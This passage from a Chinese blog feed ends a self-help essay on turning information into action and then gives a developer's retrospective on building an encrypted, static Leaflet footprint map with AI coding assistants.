圈层固化导致隐性知识依然屏蔽"></a>5. 圈层固化导致隐性知识依然屏蔽</h3><p>显性知识（书本、代码）公开了，但隐性知识（坑、评价、信号）仍在私密小圈子流动。算法让人只能看到与自己画像相似的人，当我们以为看到了全世界，其实只看到了同类。<strong>信息茧房不仅是被动形成的，更是用户每一次主动选择的结果。</strong></p><p>这五条合起来指向同一件事：<strong>今天我们之间的差距，早已不是”知不知道”，而是”做没做、在不在对的环境里做”。</strong> 我把这叫做”行动差”——它才是真正横在人和突破之间的鸿沟。下面是我对付它的办法。</p><hr><h2 id="第二部分：我的破局思路——强筛信息、挖痛点、持续做事、借圈子"><a href="#第二部分：我的破局思路——强筛信息、挖痛点、持续做事、借圈子" class="headerlink" title="第二部分：我的破局思路——强筛信息、挖痛点、持续做事、借圈子"></a>第二部分：我的破局思路——强筛信息、挖痛点、持续做事、借圈子</h2><p>归纳完那篇回答文章的信息后，我认为从信息到行动差距的本质，是由于**海量信息、无反馈（长期寂寞）、延迟满足（痛苦感没减少）**四件事在合力拖住我们。</p><p>针对这几个问题，我思考和摸索出一条很朴素的路径去对抗它，分四步：</p><p><strong>自我结构化 → 挖痛点 → 持续做事 → 借圈子</strong></p><p>自我结构化解决，我们应该消化什么信息，应该解决什么信息，什么是我；痛点解决”为什么非要动”；持续做事解决”知识和技能怎么落地”；借圈子解决”一个人撑不过那段没有反馈的寂寞期”。下面展开。</p><h3 id="1-强筛信息：强化自我管理"><a href="#1-强筛信息：强化自我管理" class="headerlink" title="1. 强筛信息：强化自我管理"></a>1. 强筛信息：强化自我管理</h3><p>回头看，那篇回答把”为什么动不起来”讲透了————海量信息带来的屏蔽和筛选难题呆在首位。对此我的解法就是拒绝被主动塞入信息。</p><p>1.对于所有渠道包括知乎、新闻、B站、小红书等等给到我的信息，均采用审视和拒绝的态度。断开除小圈子社群以外的所有社交平台，减少海量的信息接触。</p><p>2.建立结构化的意识管理和知识管理，以及善用我们的元认知（反思能力、批判性思维）对我们自身的认知过程进行监控和调节。</p><p>这个第2点可能不是那么好理解。我大概解释下我的方法论：</p><ul><li>对于所有的信息可以按意识类和知识数据类进行分类管理</li><li>意识类的信息又可以结构化的分类为：目标（反思个人需求）、意图（行动方向和路径）、价值观（后天训练下来能无障碍接受的范围）等等</li><li>知识数据类的信息结构化分类为：情绪、记忆、感受（感官输入）、社交、总结方法论（skill或技能）、现实学科知识等等</li><li>意识类管理了我们的认知，负责决策和执行；知识数据类管理了我们接触、总结消化和交互的大部分信息。</li><li>我认为管理自我，最大的风险来自于我们的意识类信息被知识数据类主导，被外部左右；其次的风险是我们的意识类信息主动消化和理解吸收知识数据类信息的时候。</li></ul><h3 id="2-挖痛点：先找到”非做不可”的理由"><a href="#2-挖痛点：先找到”非做不可”的理由" class="headerlink" title="2. 挖痛点：先找到”非做不可”的理由"></a>2. 挖痛点：先找到”非做不可”的理由</h3><p>时常，在挖掘我的自身动力的时候，我发现了一个事实：<strong>我并不缺信息，我缺的是痛点。</strong></p><p>没有痛点，就没有非做不可的理由，所有”想学”最终都会败给”不想动”。所以我认为寻找动力的第一件事，不是去寻找某个神奇方法，而是挖寻生活中自己或他人的痛点。</p><p>解决痛点可以很大程度上解决“延迟满足”这个问题，让我们意识到，解决这个问题会给我们带来生活的改善和回报。</p><p>具体怎么挖：</p><ul><li><strong>审视自己和身边人</strong>，找出那些反复出现的小麻烦、市场没解决好或频繁被需要的需求；</li><li><strong>主动去搜、拆解、分析</strong>，而不是坐在原地等痛点自己砸下来；</li><li><strong>哪怕暂时挖不到大痛点，也用每天30分钟的”微挑战”保持手感</strong>，承认量变——没有痛点≠没有成长。</li></ul><p>举个我自己的例子：不断的启动自己的元认知，思考自己目前现在面对什么问题，有什么解决方法，细化下来怎么做，然后输出行动策略。不断的输出，不断的输出，逼自己的大脑要持续动起来。<strong>不追求有用，只追求”今天动了”</strong>——很多时候，正是这种微小动作里的突然卡顿自己浮现，反而就让我挖出到了自己非常想解决的问题。</p><p>痛点不是等来的，是做出来的。先动起来，卡顿和摩擦自己就会浮现。</p><h3 id="3-持续做事：把知识从压缩包里解压"><a href="#3-持续做事：把知识从压缩包里解压" class="headerlink" title="3. 持续做事：把知识从压缩包里解压"></a>3. 持续做事：把知识从压缩包里解压</h3><p>挖到痛点（或哪怕只是微挑战）之后，关键是真的做，而不是再去找”更好的方法”。</p><ul><li><strong>不断地尝试、不断地动起来</strong>，同时屏蔽对解决眼前问题无益的噪音；</li><li><strong>分解事项</strong>，把事情不断分解到我们可以一步步微小推进的程度，让事件有进展，有小反馈；</li><li><strong>保持解决问题的”手感”</strong>，承认量变：发现与解决问题，必然源于持续地吸取信息与积累尝试；</li><li><strong>分享，引入外部的监督</strong> 产出要持续的分享出去，即使外部世界其实没人关注，但分享这个动作也会反向激励我们多做和做好。</li></ul><p>这部分其实最朴素，也最难——它没有任何技巧，就是别停。而它恰恰在对抗”无反馈”：当我们把一件件小事做完，反馈虽小但真实存在，足以撑过那段没有正回报的寂寞期。</p><h3 id="4-借圈子：把自己拽出固化体系"><a href="#4-借圈子：把自己拽出固化体系" class="headerlink" title="4. 借圈子：把自己拽出固化体系"></a>4. 借圈子：把自己拽出固化体系</h3><p>这是我在大学时就越来越明确的一点：<strong>单靠自己，很难跳出自己的舒适圈和固化体系。</strong> 我们以为自己在努力，很多时候只是在旧体系里打转。要真正脱离，需要外部的坐标和协同——也就是一个”真正在干活的圈子”。</p><p>一个在解决问题的圈子，会帮我们扩大寻找痛点的途径，扩大我们解决问题带来的反馈和产出价值评估，能帮我们对抗“无反馈”的问题。</p><p>圈子的作用，不只是”有人一起学”，而是它提供外部标准、真实反馈和共同推进的项目，把我们从自我循环里硬拉出来。当我们在一个圈子里协同处理真实问题时，就被推着持续做有价值的事，而这恰恰是治疗”行动差”的良药。</p><p><strong>去哪里找”真正在干活的圈子”？</strong></p><p>这类圈子的特征是：<strong>围绕具体项目&#x2F;代码&#x2F;作品运转</strong>，而不是围绕”聊天”运转。</p><table><thead><tr><th>社区</th><th>适合谁</th><th>怎么用</th><th>坑&#x2F;风险</th></tr></thead><tbody><tr><td><strong>GitHub Discussions</strong></td><td>想深入开源项目的人</td><td>看维护者和贡献者怎么讨论 feature、trade-off</td><td>只看不说话&#x3D;潜水游客，等于没进圈</td></tr><tr><td><strong>GitHub Trending</strong></td><td>想追前沿技术的人</td><td>每天刷，看什么项目在崛起</td><td>跟风囤一堆 star 从不打开</td></tr><tr><td><strong>Stack Overflow</strong></td><td>遇到具体技术问题时</td><td>提问+回答别人问题，建立存在感</td><td>只提问不回答，建立不了信用</td></tr><tr><td><strong>Reddit r&#x2F;programming</strong></td><td>通用技术讨论</td><td>看严肃讨论，不是爽文</td><td>容易被口水战带偏</td></tr><tr><td><strong>Dev.to &#x2F; Hashnode</strong></td><td>想写技术博客的人</td><td>发文+互评</td><td>重流量，容易为点赞写水文</td></tr><tr><td><strong>Hacker News</strong></td><td>创业&#x2F;产品思维</td><td>看硅谷一线工程师在辩论什么</td><td>门槛高，容易只当旁观者</td></tr><tr><td><strong>V2EX &#x2F; linux.do</strong></td><td>中文开发者</td><td>高质量讨论，发帖必须真技术</td><td>规模小，冷门问题可能没人回</td></tr><tr><td><strong>Discord（如 Reactiflux）</strong></td><td>需要实时交流</td><td>先潜水24-48小时再发言</td><td>实时刷屏，容易把群变成日常噪音</td></tr><tr><td><strong>Kaggle Notebook</strong></td><td>数据科学</td><td>比官方文档更生动的案例库</td><td>只跑别人 notebook 不思考</td></tr></tbody></table><p><strong>关键原则：每个平台只承担一个功能。</strong> 别加一堆群然后全变成999+未读——那样加入的不是圈子，而是噪音。</p><p>线下活动同样值得重视：一场同好聚会的合作转化率远超线上，能带来高效的学习经历和团队合作。可以搜索当地的社团、协会、论坛，看大家关注什么领域、谁在真正推动解决问题。</p><p><strong>筛选标准：</strong></p><ul><li>✅ 有明确的主题边界</li><li>✅ 持续的交流渠道</li><li>✅ 社群成员的实质行动力</li></ul><p>分享，或者用计算机世界的称呼“开源贡献”是最硬核的进入方式——这是让核心开发者圈子主动接纳人的唯一路径：</p><ol><li>找一个感兴趣的项目</li><li>从修文档错别字、报 Bug 开始</li><li>逐步尝试解决简单 Issue</li><li>提交第一个 PR</li></ol><p><strong>开源社区的规则是：人们通过贡献赢得成员身份。</strong> 修过一个 Bug，维护者就会记住这个 GitHub ID——这就是进入圈子的敲门砖。</p><p><strong>怎么判别”真假干活圈子”？</strong></p><p><strong>✅ 真干活圈子的特征</strong></p><ol><li>有真实项目在推进——不是聊”怎么学”，是聊”我这个项目卡在XX问题上”</li><li>讨论权衡和踩坑——“我试了A和B，A在XX场景下失败了因为…”</li><li>有人认真回复提问——不是甩链接，是给具体思路</li><li>群文件&#x2F;精华区有沉淀——有价值的讨论被整理出来</li><li>成员有公开作品——GitHub 有 repo、博客有文章、产品有上线</li><li>规模小而活跃——几十到两三百人最佳</li></ol><p><strong>❌ 假干活圈子的特征</strong></p><ol><li>天天聊”认知””思维模型”但没人晒作品</li><li>管理员一直在卖课</li><li>讨论停留在”哪个语言好””前端还是后端有前途”这种口水话题</li><li>潜水一周看不到任何实质性技术讨论</li><li>新人提问没人理，或者只得到”百度一下”的回复</li></ol><p><strong>圈子的真相：不是”找到”的，是”长出来”的</strong></p><p>我们不可能今天加入一个群，明天就有了”干活圈子”。真实的路径是：先在一个项目里做点什么 → 被人看到 → 被拉进更小的群 → 在小群里持续输出 → 最终形成自己的核心圈子。</p><p>而在这个过程中，借助团体的力量，完成了单靠自己很难做到的事——<strong>离开原本固化的体系与舒适圈，在和他人的协同里，把有价值的事一直做下去。</strong></p><hr><h2 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h2><p>信息差早就被互联网抹平了，真正的分水岭是行动差。而行动差不是靠”想通了”跨过的，它是被<strong>海量信息、恐惧、无反馈、延迟满足</strong>四座大山压住的——我思考和摸索出来的路径很简单：<strong>自我结构化抵御庞杂的信息 → 挖痛点给自己一个非动不可的理由 → 持续做事用真实反馈对抗寂寞 → 借圈子离开舒适圈，在协同里把事做下去。</strong></p><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><ul><li><a href="https://www.zhihu.com/question/689452741/answer/1991456059383117645">互联网已经将绝大部分信息差抹除了，知识已经随处可以获得，为何大部分人依旧无法获得大幅突破？</a></li></ul>]]>
    </content>
    <id>https://misaka10013.cn/p/706762383.html</id>
    <link href="https://misaka10013.cn/p/706762383.html"/>
    <published>2026-08-25T15:35:00.000Z</published>
    <summary>
      <![CDATA[<p>最近看了篇知乎回答（见文末「参考资料」），很有共鸣。它把”为什么互联网抹平了信息差、大多数人却依然原地踏步”讲得很透。但看完我更想追问另一半问题：<strong>知道了原因，到底该怎么动起来？</strong>。信息只有对我们的实践产生了指导意义，并促使了我们现实中行动改变，才具有真实的意义。否则解决信息差对我们毫无意义。由此我开始了一些反思想法。</p>
<p>本文章前半部分，是我对那篇知乎回答的归纳；后半部分，是我思考的一些思路——从一个缺痛点、困在舒适圈里的人，如何通过试着借做事和圈子，把自己拽出来。</p>
<hr>]]>
    </summary>
    <title>从信息差到行动差：我的思路</title>
    <updated>2026-08-27T10:52:56.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Misaka10013</name>
    </author>
    <category term="项目作品" scheme="https://misaka10013.cn/categories/%E9%A1%B9%E7%9B%AE%E4%BD%9C%E5%93%81/"/>
    <category term="AI编程" scheme="https://misaka10013.cn/tags/AI%E7%BC%96%E7%A8%8B/"/>
    <category term="Leaflet" scheme="https://misaka10013.cn/tags/Leaflet/"/>
    <category term="项目复盘" scheme="https://misaka10013.cn/tags/%E9%A1%B9%E7%9B%AE%E5%A4%8D%E7%9B%98/"/>
    <content>
      <![CDATA[<p>在大概10年多前，我就已经在使用谷歌足迹地图，最早是在使用谷歌地球中觉得精确、细节拉满的谷歌地球很适合找到一些自己去过的地方并且标点记录。之后我在我的博客的“关于”页面，通过链接谷歌足迹地图的方式，在我的博客实现查看我的足迹。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;iframe src=&quot;https://www.google.com/maps/d/embed?mid=1FnQqdlXYFoEnO6WvZ8QEHj9RYHg&quot; width=&quot;100%&quot; height=&quot;600&quot;&gt;&lt;/iframe&gt;</span><br></pre></td></tr></table></figure><p>但使用上也有一些痛点。例如谷歌地图一直被强，我更新足迹需要总是用梯子，所以更新频次很少。其次是谷歌卫星地图和地图道路、点位等信息在国内的部分有坐标偏差，查看起来很难看。经常我一个点位不知道按卫星地图给标记还是按街道位置进行标记。近几年，我也断断续续用过其他方案，例如百度地图或者高德收藏夹存地点。但每次想回顾”我去过哪些地方、在那里发生过什么”的时候，数据总是散落在各个 App 里，我要打开app去翻找，宁琅满目各种广告、贷款推荐，慢得很。</p><p>我想要的东西其实很简单：<strong>一张属于我自己的地图，每个点位是一段记忆，能写文字、能贴图、能按时间连成路线，数据永远在我手里。</strong></p><p>于是在AI的协助讨论和开发下，就有了这个项目——一个嵌入 Hexo 博客的纯前端足迹地图。这篇文章记录它从需求讨论到上线的完整过程，包括踩过的三个很有代表性的坑，以及留给以后的待办事项。</p><span id="more"></span><h2 id="一、需求对齐：和元宝的两轮讨论"><a href="#一、需求对齐：和元宝的两轮讨论" class="headerlink" title="一、需求对齐：和元宝的两轮讨论"></a>一、需求对齐：和元宝的两轮讨论</h2><p>这个项目我没有直接让 AI 上来就写代码，而是先找了元宝聊需求，在多轮的聊天中不断让AI发问，问询我自己，把自己的需求探明。这个过程也是把自己的思路想清楚。</p><p>我和元宝从”我想记录人生足迹”这个模糊的念头开始聊，逐步收敛出核心功能：地图标记、分类体系（路程&#x2F;好吃的&#x2F;好喝的&#x2F;好玩的&#x2F;风景&#x2F;兴趣点）、Markdown 图文弹窗、按时间排序的路线模式、分组筛选、数据导入导出。</p><p>聊完之后，元宝帮我产出了<strong>两份文档</strong>：</p><table><thead><tr><th>文档</th><th>面向对象</th><th>侧重点</th></tr></thead><tbody><tr><td>需求与功能设计文档</td><td>人类阅读</td><td>“做什么”和”为什么”，交互规则</td></tr><tr><td>AI 开发者移交文档</td><td>AI 开发者</td><td>数据模型、优先级（P0&#x2F;P1&#x2F;P2）、验收清单、开发约束</td></tr></tbody></table><p>第一个文档相当于面向用户的需求描述，第二份文档则相当于面向AI开发的开发实践指南。不过我在实际应用的时候觉得，最好不要让动手开发的AI完全被第二份开发者指南所左右。有时候不同AI的思维能力还是不一样的。而且在具体实践中的AI，配合人的测试，总能发现一开始技术设计思路上与实际情况的不一致。</p><p>之所以一开始想到和AI先聊方案，主要是我自己在政务系统工作实践中，也经常需要和客户一边对着原型，一边不断讨论，这个是摸清需求，很重要。要不然后期真正做的时候，就会是无限的改版。而AI开发，虽然AI不会累，可以反复的改版，但<strong>模糊需求</strong>的话，我的token和时间也是成本。一开始，尽量从需求文档层面把方向描述得越精确，AI 找到正确的方案实现的概率最高，也减少来回扯皮的次数越少。</p><p>我觉得，和干活的人沟通，一定要言语高效。和AI沟通描述想法，是一个很好的训练工作协作和沟通思路的方法。另外我曾经也经历过项目长了、项目和用户的交互多了，最后反而一堆问题。和AI协同编程，我觉得最恐怖的应该是，好不容易搭建起来一个基本完美的作品了，后面让AI修修bug，然后把前面的功能搞崩了。哈哈哈。所以开发的过程中，我也叮嘱AI注意每个版本的备份。</p><p>在开发前，我也是和AI沟通，并且找了相似的需求方案，作为我们开发的参考。减少凭空造轮子的情况。参考了 MarkdownMap、leaflet-search、Exping 三个项目的架构思路。</p><p>前期建设原则基本上定下来：</p><ul><li><strong>纯前端</strong>：无后端、无数据库，静态托管就能跑</li><li><strong>数据自主</strong>：所有数据是 JSON 文件，随时导出，永不锁定</li><li><strong>单文件交付</strong>：CSS 和 JS 全部内联进一个 <code>index.html</code>，扔进 <code>source/map/</code> 就能用</li></ul><h2 id="二、开发实施：和-WorkBuddy-的六轮迭代"><a href="#二、开发实施：和-WorkBuddy-的六轮迭代" class="headerlink" title="二、开发实施：和 WorkBuddy 的六轮迭代"></a>二、开发实施：和 WorkBuddy 的六轮迭代</h2><p>文档交给 WorkBuddy 后，很快我们迭代了六个版本出来。把迭代过程整理成一张表：</p><table><thead><tr><th>版本</th><th>主要内容</th><th>性质</th></tr></thead><tbody><tr><td>v1</td><td>按移交文档实现全部功能</td><td>初版</td></tr><tr><td>v2</td><td>外部依赖内联化，提高可用性</td><td>优化</td></tr><tr><td>v3</td><td>数据结构调优</td><td>优化</td></tr><tr><td>v4</td><td>修复”弹窗关闭后无法再打开”</td><td>修坑</td></tr><tr><td>v5</td><td>搜索下拉遮挡修复 + 回车选中 + OSM&#x2F;Carto 底图</td><td>修坑 + 衍生</td></tr><tr><td>v6</td><td>图层循环切换改为下拉选择器 + Esri 卫星底图</td><td>衍生需求</td></tr></tbody></table><p>初版（v1~v3）出乎意料地顺利——移交文档写得细，AI 基本一次成型，验收清单里绝大部分条目直接通过。真正花时间的是后面三轮，属于是由我在使用中来检验和测试bug，并且评估是否满足我的使用需求。</p><h2 id="三、踩坑记录"><a href="#三、踩坑记录" class="headerlink" title="三、踩坑记录"></a>三、踩坑记录</h2><h3 id="坑-1：弹窗关闭后无法再打开（v4）"><a href="#坑-1：弹窗关闭后无法再打开（v4）" class="headerlink" title="坑 1：弹窗关闭后无法再打开（v4）"></a>坑 1：弹窗关闭后无法再打开（v4）</h3><p><strong>现象</strong>：点击地图点位，弹窗正常弹出。点弹窗右上角 ✕ 关闭后，再点同一个点位，弹窗死活不出来了。刷新页面，又能打开一次。</p><p>这个 bug 特别有迷惑性——“第一次能开”说明打开逻辑没问题，”关了就开不了”说明关闭操作把什么东西弄脏了。我负责通过不同的操作定位的故障现象和日志，由AI来定位bug原因。<br>AI挖到是 Leaflet 源码层面。Leaflet 的 <code>Marker._openPopup</code> 内部有一个切换逻辑：</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">_openPopup</span>: <span class="keyword">function</span> (<span class="params">t</span>) &#123;</span><br><span class="line">  ...</span><br><span class="line">  <span class="variable language_">this</span>.<span class="property">_map</span>.<span class="title function_">hasLayer</span>(<span class="variable language_">this</span>.<span class="property">_popup</span>)</span><br><span class="line">    ? <span class="variable language_">this</span>.<span class="title function_">closePopup</span>()   <span class="comment">// 已打开 → 关闭（toggle 行为）</span></span><br><span class="line">    : <span class="variable language_">this</span>.<span class="title function_">openPopup</span>(t.<span class="property">latlng</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>而AI按我需求自定义编写的 click 处理器和 Leaflet 内部的这个处理器<strong>同时在监听点击</strong>。两者出现冲突。属于是用参考第三方库给自己引入的麻烦。所以说，当CV工程师可不行。哈哈。</p><h2 id="四、衍生需求：在使用中改进"><a href="#四、衍生需求：在使用中改进" class="headerlink" title="四、衍生需求：在使用中改进"></a>四、衍生需求：在使用中改进</h2><p>这三个功能不是在最初的需求文档里，而是使用中存在痛点又提出来的：</p><ol><li><strong>国外底图</strong>。原本用高德瓦片，国内还算清晰，但我想标记国外的点，一放大全是空白。于是加了 OSM 和 Carto 浅色两种国外底图，再加 Esri 卫星，凑齐了”国内+国外、标准+卫星”的完整组合。</li><li><strong>图层下拉选择器</strong>。底图从 2 种涨到 5 种之后，原来的”循环切换”按钮变得很蠢——想要 Esri 卫星得连按四下。改成下拉选择器。</li><li><strong>搜索回车选中</strong>。发现下拉结果被遮挡的过程中，发现自己习惯性按回车搜索确认，让AI增加。</li></ol><h2 id="五、隐私考量：一个暂缓的决定"><a href="#五、隐私考量：一个暂缓的决定" class="headerlink" title="五、隐私考量：一个暂缓的决定"></a>五、隐私考量：一个暂缓的决定</h2><p>上线前我想到一个问题：这个页面不需要登录，我自己看很方便，但<strong>别人也同样方便地能看到我的全部足迹</strong>——我去过哪、什么时候去的、写了什么。</p><p>我原本在两个方案间犹豫：给页面加个密码锁，还是让页面正常访问但数据加载要验证。但和 AI 讨论后，一时间没想出来好办法：静态托管没有后端，任何”前端验证密码”都只是遮羞布——<strong>绕过页面直接访问 <code>data.json</code> 的 URL，明文数据照样下载</strong>。</p><p>真正有效的方案是第三种：<strong>把 data.json 本身用 AES-256-GCM 加密，密码只存在于我脑子里</strong>。浏览器端负责解密渲染和加密导出，别人就算下载到文件也只是一堆乱码。但我也想保留地图的便利分享和展示能力。一时间没想好具体怎么处理。</p><h2 id="六、上线部署"><a href="#六、上线部署" class="headerlink" title="六、上线部署"></a>六、上线部署</h2><p>部署方式简单：把 <code>source/map/</code> 整个文件夹（<code>index.html</code> + <code>data.json</code> + <code>README.md</code>，共 3 个文件）复制到正式仓库目录，git push，CNB 云原生构建自动完成后续一切。</p><p>上线后访问 <code>https://misaka10013.cn/map/</code>。</p><p>整个项目的技术栈，最后总结成一句话：<strong>Leaflet.js 管地图，marked.js 管 Markdown 渲染，localStorage 管持久化，原生 JS + 内联 CSS 管一切交互，零框架零后端零构建。</strong></p><h2 id="七、待议与待办（给未来的自己）"><a href="#七、待议与待办（给未来的自己）" class="headerlink" title="七、待议与待办（给未来的自己）"></a>七、待议与待办（给未来的自己）</h2><p>把未完成的事项记在这里，以后翻到这篇文章就知道下一步往哪走：</p><table><thead><tr><th>事项</th><th>说明</th><th>优先级</th></tr></thead><tbody><tr><td>data.json 加密</td><td>AES-256-GCM + PBKDF2 方案，客户端解密渲染；导出备份同样加密</td><td>高</td></tr><tr><td>地图页入口</td><td>目前无导航&#x2F;文章链接指向 &#x2F;map&#x2F;，纯 URL 直达（算是一层隐蔽）</td><td>低</td></tr></tbody></table><h2 id="后记"><a href="#后记" class="headerlink" title="后记"></a>后记</h2><p>复盘整个项目，我的流程是：<strong>元宝做需求收敛和文档产出，WorkBuddy 做编码实施，我做真实环境测试和方向决策。</strong> 三个角色里，AI 承担了两块，而指引方向和评估质量由我来把控。</p><hr><h2 id="更新记录（2026-09-23）：上线之后的-v7-→-v20"><a href="#更新记录（2026-09-23）：上线之后的-v7-→-v20" class="headerlink" title="更新记录（2026-09-23）：上线之后的 v7 → v20"></a>更新记录（2026-09-23）：上线之后的 v7 → v20</h2><p>上面这篇文章写到 v6 上线就收尾了。但真实用起来之后才发现，<strong>上线只是开始</strong>。这一个多月里我又断断续续和AI迭代了十几版，把一些细节问题处理了。这次更新把后续补上。</p><h3 id="v7-v9：真实数据进场，连踩三个坑"><a href="#v7-v9：真实数据进场，连踩三个坑" class="headerlink" title="v7 ~ v9：真实数据进场，连踩三个坑"></a>v7 ~ v9：真实数据进场，连踩三个坑</h3><p>上线的第一个动作是把我的真实足迹数据搬进来。流程是：把谷歌地图 Takeout 导出 KML → 脚本转 Excel（我人工过一遍分类）→ 让AI出脚本批量转 <code>data.json</code> → 导入数据到足迹网页。276 个点位，时间从 2018 年排到 2019 年。</p><p>数据一进来，问题立刻炸出来三个：</p><table><thead><tr><th>版本</th><th>问题</th><th>根因</th></tr></thead><tbody><tr><td>v7</td><td>点位名全显示 <code>undefined</code>，编辑框空白</td><td>导入的data数据点位名用 <code>name</code> 字段，而网页代码却在读 <code>m.title</code>，让AI修复</td></tr><tr><td>v7</td><td>保存编辑后弹窗关闭按钮失效</td><td>保存时重建了 marker，但新弹窗没重新绑定事件。AI的bug</td></tr><tr><td>v8</td><td>改了点位时间，连线序号不变</td><td>时间格式问题</td></tr><tr><td>v9</td><td>同一个点在高德和 Esri 上位置差几百米</td><td>坐标系不一致</td></tr></tbody></table><p>v7 那个字段错乱：<strong>data数据和网页代码的字段名各写各的</strong>，没想到AI居然能翻这种错误，只能说AI能写代码，但有时候就是会犯低级错误，很像上下文记忆导致的问题。测试数据少的时候根本看不出来，数据一多就爆bug。</p><h4 id="坑-4：日期格式的”半个格式”（v8）"><a href="#坑-4：日期格式的”半个格式”（v8）" class="headerlink" title="坑 4：日期格式的”半个格式”（v8）"></a>坑 4：日期格式的”半个格式”（v8）</h4><p><strong>现象</strong>：我把一个点位的日期改了，保存，连线序号纹丝不动。导出 JSON 再导入，顺序还是老样子。原因是因为</p><ol><li>KML 导出的时间是 <code>&quot;2018-01-01&quot;</code>——只有日期，没有时分</li><li>而HTML网页 的 <code>&lt;input type=&quot;datetime-local&quot;&gt;</code> <strong>只认</strong> <code>YYYY-MM-DDTHH:MM</code> 这种完整格式，遇到 <code>&quot;2018-01-01&quot;</code> 它<strong>不报错，也不提示，就是静静显示成空白</strong></li><li>我打开编辑弹窗，看到时间框是空的，以为”原本就没填”，改完别的字段就点保存</li><li>保存逻辑把空值写回去——<code>m.time = &#39;&#39;</code>，<strong>时间被我亲手清空了</strong></li><li>连线功能有个过滤条件 <code>m.time &amp;&amp; m.time !== &#39;&#39;</code>，时间空了的点直接被排除出连线列表——所以”序号没变”其实是”这个点根本不参与排序了”</li></ol><p><strong>修复</strong>：拉着所有点位数据，时间统一按 <code>YYYY-MM-DD 00:00</code>补全数据。</p><h4 id="坑-5：坐标系——地图项目躲不开的一道坎（v9）"><a href="#坑-5：坐标系——地图项目躲不开的一道坎（v9）" class="headerlink" title="坑 5：坐标系——地图项目躲不开的一道坎（v9）"></a>坑 5：坐标系——地图项目躲不开的一道坎（v9）</h4><p><strong>现象</strong>：国内的地图清晰度真一般，我给页面加了 OSM、Carto、Esri 这些国外底图后，但切过去一看，又遇到了以前谷歌地点的问题。所有点位都偏了——在国内大概偏几百米。这个问题我们的一些政务系统也经常见，撒点因为坐标系不同，总是容易对不上位置。</p><p><strong>根因</strong>：国内地图服务（高德、百度、腾讯）用的是 <strong>GCJ-02</strong>（俗称火星坐标系，法律要求下加了非线性偏移），国外服务（OSM、Esri、Carto）用的是 <strong>WGS-84</strong>。同一组经纬度，在两套坐标系里指的不是同一个地方。好在大家用的啥，偏移多少，是个已知的事情。那这个问题就有解。</p><blockquote><p><strong>统一以 GCJ-02 存储</strong>（和主用的国内底图原生一致），渲染前判断当前底图——如果是 WGS-84 国际底图，就把坐标反算成 WGS-84 再摆上去；反过来，我在网页上新增点位或定位输入时，把显示的 WGS-84 坐标转回 GCJ-02 再存。</p></blockquote><h3 id="v10-v13：把-277KB-的单文件拆开"><a href="#v10-v13：把-277KB-的单文件拆开" class="headerlink" title="v10 ~ v13：把 277KB 的单文件拆开"></a>v10 ~ v13：把 277KB 的单文件拆开</h3><p>我观察到AI编码的我的足迹地图代码越来越大，但他一直放在一个文件里面。其中样式、js文件都在其中，每次版本迭代，AI就要读取全文件，很快上下文窗口就不够用了，AI疯狂降智。这意味项目已经开始不小了，复杂度上去了。肯定就得拆分框架了。html、js、css全部分离。</p><table><thead><tr><th>版本</th><th>需求</th><th>结果</th></tr></thead><tbody><tr><td>v10</td><td>点位可按时间区间筛选（点位+轨迹一起裁）</td><td>加了”全部&#x2F;近1年&#x2F;近3年&#x2F;自定义”，默认近 1 年</td></tr><tr><td>v11</td><td>AI对单文件已经改不动了</td><td>277KB 拆成 <code>index.html</code>(4.7KB) + <code>app.js</code> + <code>style.css</code></td></tr><tr><td>v12</td><td>对200KB+的app.js继续拆分优化</td><td><strong>78% 是第三方库</strong>，将第三方库抽离出去，避免AI每次读自己写的主要逻辑代码都要读第三方库js，抽到 <code>vendor/</code>，业务代码只剩 <strong>56.6KB &#x2F; 1634 行</strong></td></tr><tr><td>v13</td><td>申请到天地图 Key，增加更加清洗的国内卫星图源</td><td>加了天地图卫星底图（影像 + 中文注记叠加）</td></tr></tbody></table><p>v12 这种情况值得主意：一个项目持续干下去，量级大了，很容易超过AI的处理能力。拆分、解耦是好方法。</p><h3 id="v14-v20：隐私方案从”遮羞布”做到真加密"><a href="#v14-v20：隐私方案从”遮羞布”做到真加密" class="headerlink" title="v14 ~ v20：隐私方案从”遮羞布”做到真加密"></a>v14 ~ v20：隐私方案从”遮羞布”做到真加密</h3><p>这是最近这次迭代的主线，也是之前第五节那个”暂缓的决定”最终的落地过程。方案改了三次：</p><table><thead><tr><th>版本</th><th>方案</th><th>为什么被推翻</th></tr></thead><tbody><tr><td>v14</td><td><strong>全页访问锁</strong>：进页面就要密码</td><td>但这个方案其实挡不住别人直接下载访问 <code>data.json</code>，只是阻挡电脑小白。而且这个方案下也让一些值得和其他人分析的分私密点位不可见了</td></tr><tr><td>v15~v16</td><td><strong>点位级私密</strong>：点位加”是否私密”属性，未解锁不显示</td><td>只藏该藏的。但数据仍是明文，<strong>仅仅是”界面不显示”</strong>，了解互联网的人一样可以探索网页的架构并下载<code>data.json</code>获取所有隐私点位数据</td></tr><tr><td>v19</td><td><strong>真加密</strong>：公开点明文 + 私密点整块密文</td><td>这是最终头脑风暴出来敲定的方案</td></tr></tbody></table><h4 id="v19：加密落地"><a href="#v19：加密落地" class="headerlink" title="v19：加密落地"></a>v19：加密落地</h4><p>最后把真加密这个方案真正做完了，核心一句话：<strong>别人下载到 <code>data.json</code> 也只是一堆乱码。</strong></p><ul><li><strong>单文件混合</strong>：公开点位保持明文（页面正常打开、公开点正常显示），私密点位<strong>整块数组加密成一个密文块</strong>——连”有几个私密足迹点”都看不出来</li><li><strong>算法</strong>：PBKDF2-SHA256 迭代 60 万次派生密钥 → AES-256-GCM（12 字节随机 iv、128 位认证标签）</li></ul><h3 id="更新后的待办（给未来的自己）"><a href="#更新后的待办（给未来的自己）" class="headerlink" title="更新后的待办（给未来的自己）"></a>更新后的待办（给未来的自己）</h3><table><thead><tr><th>事项</th><th>状态</th></tr></thead><tbody><tr><td><del>data.json 加密</del></td><td>✅ 已完成（v19）</td></tr><tr><td><del>地图页入口</del></td><td>✅ 已加返回按钮（v17），文章链接待补</td></tr></tbody></table><h3 